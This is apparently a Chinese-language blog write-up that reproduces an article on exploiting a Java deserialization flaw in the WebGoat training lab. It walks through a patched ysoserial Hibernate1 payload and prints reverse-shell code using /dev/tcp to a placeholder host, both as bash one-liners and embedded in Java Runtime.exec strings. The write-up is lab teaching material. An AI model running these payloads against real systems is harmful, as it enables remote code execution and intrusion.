Java 反序列化 - 如何在受限環境下一步步獲取反彈 Shell
在騰訊玄武安全實驗室的日常推送上面看到了 ofollow,noindex">Java 反序列化 - 如何在受限環境下一步步獲取反向 Shell ,覺得非常地有意思。復現並研究了一下。本文就是差不多是對這篇文章的復現和翻譯的集合體。
漏洞環境
整篇文章的背景很簡單。Webgoat的靶場中提供了一個 Insecure Deserialization
的學習示例,這個題目的本意只是要求我們通過反序列化漏洞使頁面的響應延遲,但是我們能夠利用反序列化漏洞得到靶場Docker環境的Shell。
安裝Webgoat靶場
本漏洞的環境採用的是Docker的環境。根據官方的提示 WebGoat 8 ,執行
docker pull webgoat/webgoat-8.0 docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
執行完畢之後,顯示如下(由於輸出較多,圖中僅僅顯示部分資訊):
訪問 http://localhost:8080/WebGoat
,如果能夠正常訪問,說明環境搭建成功。
漏洞確認
根據題目的含義:
題目的要求是我們需要在Token中輸入我們序列化之後經過bashe64編碼的Payload使頁面響應延遲。
為了測試是否存在反序列化漏洞,我們可以使用Burp上面的反序列化漏洞掃描外掛 Java-Deserialization-Scanner 。 Java-Deserialization
的安裝參考 installation 、使用可以參考 Burp Suite擴充套件之Java-Deserialization-Scanner 、 Burp Suite 反序列化外掛 Java Deserialization Scanner
漏洞掃描
使用Burp擷取請求包,如下:
使用 Java-Deserialization-Scanner
進行掃描, 由於payload需要進行Bash64編碼,所以在測試時我們需要選擇 Attack(base64)
,否則是無法掃描出漏洞的
經過測試,我們發現存在 Hibernate
的反序列化漏洞。
漏洞利用&問題定位
掃描發現是存在 Hibernate
的反序列化漏洞,於是我們嘗試利用。 Java-Deserialization-Scanner
是通過 ysoserial
生成Payload的。 ysoserial usage 中是存在Hibernate的Payload的。所以我們利用 ysoserial
,執行 Hibernate1 whoami
。
發現出現 ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS
錯誤,進入到 Java-Deserialization-Scanner
檢視錯誤詳情,
具體的錯誤資訊是:
Error while generating or serializing payload java.lang.ClassNotFoundException: org.hibernate.property.access.spi.Getter at java.net.URLClassLoader.findClass(URLClassLoader.java:381) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:264) at ysoserial.payloads.Hibernate1.makeHibernate5Getter(Hibernate1.java:92) at ysoserial.payloads.Hibernate1.makeGetter(Hibernate1.java:64) at ysoserial.payloads.Hibernate1.getObject(Hibernate1.java:104) at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
此時就非常奇怪了,為什麼 Java-Deserialization-Scanner
能夠掃描出 Hibernate
的漏洞,但是使用 ysoserial
生成Payload卻會出錯呢?通過分析原始碼,找到 Java-Deserialization-Scanner
的解析方法 BurpExtender.java
發現在 Java-Deserialization-Scanner
的所有的檢測邏輯都是硬編碼的,那麼 ysoserial
生成Payload卻會出錯的原因就在於 ysoserial
本身了。經過定位分析,發現是在生成 Hibernate
Payload時,缺少 javax.el
包,所以我們需要直接下載 ysoserial
的原始碼然後在 pom.xml
中加入這個包的依賴,最後手動編譯。關於這個問題,作者提供提交了一個 pull request 。修改內容如下:
使用maven重新編譯程式碼打包, mvn clean package -DskipTests -Dhibernate5
。如果能夠正常打包成功,會在 target
目錄下生成 ysoserial-0.0.6-SNAPSHOT.jar
和 ysoserial-0.0.6-SNAPSHOT-all.jar
。
嘗試生成payload, java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
得到Payload的base64形式。我們利用Burp進行利用
我們通過 docker exec -it <CONTAINER_ID> /bin/bash
進入到Docker容器的內部檢視是否生成了 /tmp/test
檔案。
發現存在 test
檔案,說明我們已經攻擊成功。
反彈shell
上一章節中已經確認了漏洞的存在並且利用成功,那麼現在就是嘗試反彈shell了。
生成反彈shell
首先我們需要分析一下在 Webgoat
中的 Docker
中能夠使用的命令:
發現 Docker
中存在 perl
和 bash
命令。我們就可以利用常見的bash反彈shell, bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
。
之後對 ysoserial
的生成Payload流程進行分析。整個流程如下圖所示:
我們最終會進入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl()
中。程式碼如下:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
其中生成Payload的關鍵程式碼是 String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";
。其中的 command
就是需要攻擊者輸入。那麼我們就可以直接修改這個 cmd
為我們的的反彈shell。
所以我們需要利用Java的方式執行這種 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
反彈shell。一般利用方式是:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(mycmd); p.waitFor();
但是我們需要將上述的這個程式碼變為字串的形式。所以我們就需要將上述的程式碼用 "
轉為字串,此時還需要對其中的特殊字元進行轉義,最終得到的Payload是:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
其中的 10.0.0.1
就是我們需要的反彈shell的伺服器地址,這個需要根據自己的實際情況設定。
修改完畢之後,執行 mvn clean package -DskipTests -Dhibernate5
重新編譯 ysoserial
。
反彈shell利用
得到新的 ysoserial
之後執行 java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "anything" | base64 -w0
,得到我們的Payload。
利用Burp傳送我們生成的Payload嘗試反彈shell
已經成功地拿到Docker的shell了。
其他
反彈shell的利用
其實最終作者使用的是:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(mycmd); p.waitFor();
不知道為什麼沒有采用Bash的方式,就是如下這種,感覺這兩種應該是一樣的:
Runtime r = Runtime.getRuntime(); String [] mycmd = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.0.1/8888 0>&1"}; Process p = r.exec(mycmd); p.waitFor();
我們將其轉為字串形式,
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
重新編譯執行,得到新的payload。發現同樣可以利用:
ysoserial patch
由於作者發現了在生成 Hibernate
的Payload時出現了問題,於是在 pom.xml
中添加了 javax.el
的依賴並提交了一個 patch 。但是貌似因為出現了一些錯誤,導致官方目前還沒有接受這個pull request。但是具體的錯誤目前還不清楚,不知道為什麼新增一個依賴都會導致 continuous-integration
的問題。
總結
總體來說,整個漏洞的利用比較有趣,在此過程中也學習到了 Java-Deserialization-Scanner
的用法以及在受限環境下利用 ysoserial
反彈shelll的方法。
以上